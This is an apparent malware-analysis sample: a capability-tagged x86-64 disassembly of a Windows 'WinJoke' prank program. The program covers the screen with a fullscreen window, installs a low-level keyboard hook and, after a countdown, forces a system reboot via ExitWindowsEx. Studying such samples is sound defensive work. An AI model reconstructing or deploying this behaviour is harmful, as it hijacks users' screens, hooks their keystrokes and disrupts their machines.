Function at 0x140001638
Capabilities:
Capture screenshot
Hide graphical window
Log keystrokes via application hook
Set global application hook
Shutdown system

Disassembly:
push rbp
sub rsp, 0x320
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x2b0], rcx
mov qword [rbp + 0x2b8], rdx
mov qword [rbp + 0x2c0], r8
mov dword [rbp + 0x2c8], r9d
call sym.privile__
lea rax, str.error.wav
mov qword [rbp + 0x290], rax
mov rdx, qword [rbp + 0x290]
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x104
lea rax, [rbp + 0xf0]
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
mov r8, rdx
mov edx, 0
mov ecx, 0xfde9
mov rax, qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
call rax
lea rax, [rbp + 0xf0]
mov r8d, 0x20001
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.WINMM.dll_PlaySoundA]
call rax
mov qword [rbp + 0xa0], 0
mov qword [rbp + 0xa8], 0
mov qword [rbp + 0xb0], 0
mov qword [rbp + 0xb8], 0
mov qword [rbp + 0xc0], 0
mov qword [rbp + 0xc8], 0
mov qword [rbp + 0xd0], 0
mov qword [rbp + 0xd8], 0
mov qword [rbp + 0xe0], 0
mov qword [rbp + 0xe8], 0
mov dword [rbp + 0xa0], 0x50
mov dword [rbp + 0xa4], 0x40
lea rax, [sym.WindowProc_HWND____unsigned_int__unsigned_long_long__long_long_]
mov qword [rbp + 0xa8], rax
lea rax, str.WinJoke
mov qword [rbp + 0xe0], rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0xb8], rax
lea rax, [rbp + 0xa0]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_RegisterClassExA]
call rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_GetSystemMetrics]
call rax
mov dword [rbp + 0x28c], eax
mov ecx, 1
mov rax, qword [sym.imp.USER32.dll_GetSystemMetrics]
call rax
mov dword [rbp + 0x288], eax
mov rdx, qword [rbp + 0xb8]
mov rax, qword [rbp + 0xe0]
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x50], rdx
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov edx, dword [rbp + 0x288]
mov dword [rsp + 0x38], edx
mov edx, dword [rbp + 0x28c]
mov dword [rsp + 0x30], edx
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0x90000000
lea r8, str.WinVJoke
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_CreateWindowExA]
call rax
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov r8d, 0x90000000
mov edx, 0xfffffff0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_SetWindowLongA]
call rax
mov rax, qword [rbp + 0x280]
mov r8d, 0
mov edx, 0xffffffec
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_SetWindowLongA]
call rax
mov rax, qword [rbp + 0x280]
mov edx, 3
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
mov rax, qword [rbp + 0x280]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_UpdateWindow]
call rax
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
lea rdx, str.JokeV.bmp
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_LoadImageA]
call rax
mov qword [rbp + 0x278], rax
lea rdx, [rbp + 0x80]
mov rax, qword [rbp + 0x278]
mov r8, rdx
mov edx, 0x20
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_GetObjectA]
call rax
mov eax, dword [rbp + 0x84]
mov dword [rbp + 0x274], eax
mov eax, dword [rbp + 0x88]
mov dword [rbp + 0x270], eax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_GetDC]
call rax
mov qword [rbp + 0x268], rax
mov rax, qword [rbp + 0x268]
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_CreateCompatibleDC]
call rax
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x268]
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_CreateCompatibleDC]
call rax
mov qword [rbp + 0x258], rax
mov ecx, dword [rbp + 0x288]
mov edx, dword [rbp + 0x28c]
mov rax, qword [rbp + 0x268]
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
call rax
mov qword [rbp + 0x250], rax
mov rdx, qword [rbp + 0x250]
mov rax, qword [rbp + 0x258]
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_SelectObject]
call rax
mov rdx, qword [rbp + 0x278]
mov rax, qword [rbp + 0x260]
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_SelectObject]
call rax
mov ecx, dword [rbp + 0x28c]
mov rax, qword [rbp + 0x258]
mov dword [rsp + 0x50], 0xcc0020
mov edx, dword [rbp + 0x270]
mov dword [rsp + 0x48], edx
mov edx, dword [rbp + 0x274]
mov dword [rsp + 0x40], edx
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov rdx, qword [rbp + 0x260]
mov qword [rsp + 0x28], rdx
mov edx, dword [rbp + 0x288]
mov dword [rsp + 0x20], edx
mov r9d, ecx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_StretchBlt]
call rax
mov rax, qword [rbp + 0x280]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetDC]
call rax
mov qword [rbp + 0x248], rax
mov rax, qword [rbp + 0x248]
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_CreateCompatibleDC]
call rax
mov qword [rbp + 0x240], rax
mov ecx, dword [rbp + 0x288]
mov edx, dword [rbp + 0x28c]
mov rax, qword [rbp + 0x248]
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
call rax
mov qword [rbp + 0x238], rax
mov rdx, qword [rbp + 0x238]
mov rax, qword [rbp + 0x240]
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_SelectObject]
call rax
mov eax, dword [rbp + 0x28c]
imul eax, dword [rbp + 0x288]
imul eax, eax, 0xc8
mov edx, dword [rbp + 0x274]
mov ecx, edx
imul ecx, dword [rbp + 0x270]
cdq
idiv ecx
mov dword [rbp + 0x234], eax
mov eax, dword [rbp + 0x234]
lea rdx, str.Segoe_UI
mov qword [rsp + 0x68], rdx
mov dword [rsp + 0x60], 0x22
mov dword [rsp + 0x58], 5
mov dword [rsp + 0x50], 0
mov dword [rsp + 0x48], 8
mov dword [rsp + 0x40], 1
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x190
mov r9d, 0
mov r8d, 0
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.GDI32.dll_CreateFontA]
call rax
mov qword [rbp + 0x228], rax
mov rdx, qword [rbp + 0x228]
mov rax, qword [rbp + 0x248]
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_SelectObject]
call rax
mov qword [rbp + 0x220], rax
mov rax, qword [rbp + 0x248]
mov edx, 0xffffff
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_SetTextColor]
call rax
mov rax, qword [rbp + 0x240]
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_CreateCompatibleDC]
call rax
mov qword [rbp + 0x218], rax
mov ecx, dword [rbp + 0x288]
mov edx, dword [rbp + 0x28c]
mov rax, qword [rbp + 0x240]
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
call rax
mov qword [rbp + 0x210], rax
mov rdx, qword [rbp + 0x210]
mov rax, qword [rbp + 0x218]
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_SelectObject]
call rax
mov eax, dword [rbp + 0x28c]
imul eax, eax, 0x172
cdq
idiv dword [rbp + 0x274]
mov dword [rbp + 0x20c], eax
mov eax, dword [rbp + 0x288]
imul eax, eax, 0x486
cdq
idiv dword [rbp + 0x270]
mov dword [rbp + 0x208], eax
mov rax, qword [rbp + 0x248]
mov edx, 1
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_SetBkMode]
call rax
lea rax, [0x14000f04c]
mov qword [rbp + 0x20], rax
lea rax, [0x14000f04f]
mov qword [rbp + 0x28], rax
lea rax, [0x14000f053]
mov qword [rbp + 0x30], rax
lea rax, [0x14000f057]
mov qword [rbp + 0x38], rax
lea rax, [0x14000f05b]
mov qword [rbp + 0x40], rax
lea rax, [0x14000f05f]
mov qword [rbp + 0x48], rax
lea rax, [0x14000f063]
mov qword [rbp + 0x50], rax
lea rax, [0x14000f067]
mov qword [rbp + 0x58], rax
lea rax, [0x14000f06b]
mov qword [rbp + 0x60], rax
lea rax, [0x14000f06f]
mov qword [rbp + 0x68], rax
lea rax, [0x14000f073]
mov qword [rbp + 0x70], rax
lea rax, [rbp - 0x10]
mov r8d, 0x30
mov edx, 0
mov rcx, rax
call sym.memset
mov r9d, 0
mov r8d, 0
lea rdx, [sym.LowLevelKeyboardProc_int__unsigned_long_long__long_long_]
mov ecx, 0xd
mov rax, qword [sym.imp.USER32.dll_SetWindowsHookExA]
call rax
mov qword [rbp + 0x200], rax
mov dword [rbp + 0x29c], 0
lea rax, [rbp - 0x10]
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_PeekMessageA]
call rax
test eax, eax
setne al
test al, al
je 0x140001d4f
mov eax, dword [rbp - 8]
cmp eax, 0x12
je 0x140001f23
lea rax, [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_TranslateMessage]
call rax
lea rax, [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_DispatchMessageA]
call rax
jmp 0x140001f10
add dword [rbp + 0x29c], 1
cmp dword [rbp + 0x29c], 0x44b
jle 0x140001d75
mov edx, 0
mov ecx, 2
mov rax, qword [sym.imp.USER32.dll_ExitWindowsEx]
call rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_ShowCursor]
call rax
not eax
shr eax, 0x1f
test al, al
je 0x140001d8e
jmp 0x140001d75
mov ecx, dword [rbp + 0x28c]
mov rax, qword [rbp + 0x240]
mov dword [rsp + 0x40], 0xcc0020
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov rdx, qword [rbp + 0x258]
mov qword [rsp + 0x28], rdx
mov edx, dword [rbp + 0x288]
mov dword [rsp + 0x20], edx
mov r9d, ecx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_BitBlt]
call rax
mov ecx, dword [rbp + 0x28c]
mov rax, qword [rbp + 0x248]
mov dword [rsp + 0x40], 0xcc0020
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov rdx, qword [rbp + 0x240]
mov qword [rsp + 0x28], rdx
mov edx, dword [rbp + 0x288]
mov dword [rsp + 0x20], edx
mov r9d, ecx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_BitBlt]
call rax
mov eax, dword [rbp + 0x29c]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
sar eax, 0x1f
mov ecx, eax
mov eax, edx
sub eax, ecx
cdqe
mov rax, qword [rbp + rax*8 + 0x20]
mov rcx, rax
call sym.strlen
mov r9d, eax
mov eax, dword [rbp + 0x29c]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
sar eax, 0x1f
mov ecx, eax
mov eax, edx
sub eax, ecx
cdqe
mov r8, qword [rbp + rax*8 + 0x20]
mov ecx, dword [rbp + 0x208]
mov edx, dword [rbp + 0x20c]
mov rax, qword [rbp + 0x248]
mov dword [rsp + 0x20], r9d
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_TextOutA]
call rax
mov ecx, dword [rbp + 0x28c]
mov rax, qword [rbp + 0x240]
mov dword [rsp + 0x40], 0xcc0020
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov rdx, qword [rbp + 0x218]
mov qword [rsp + 0x28], rdx
mov edx, dword [rbp + 0x288]
mov dword [rsp + 0x20], edx
mov r9d, ecx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_BitBlt]
call rax
mov ecx, 0x10
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x140001cec
nop
mov rax, qword [rbp + 0x240]
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_DeleteDC]
call rax
mov rdx, qword [rbp + 0x248]
mov rax, qword [rbp + 0x280]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ReleaseDC]
call rax
mov rax, qword [rbp + 0x238]
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_DeleteObject]
call rax
mov rax, qword [rbp + 0x278]
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_DeleteObject]
call rax
mov rdx, qword [rbp + 0xb8]
mov rax, qword [rbp + 0xe0]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_UnregisterClassA]
call rax
mov eax, 0
add rsp, 0x320
pop rbp
ret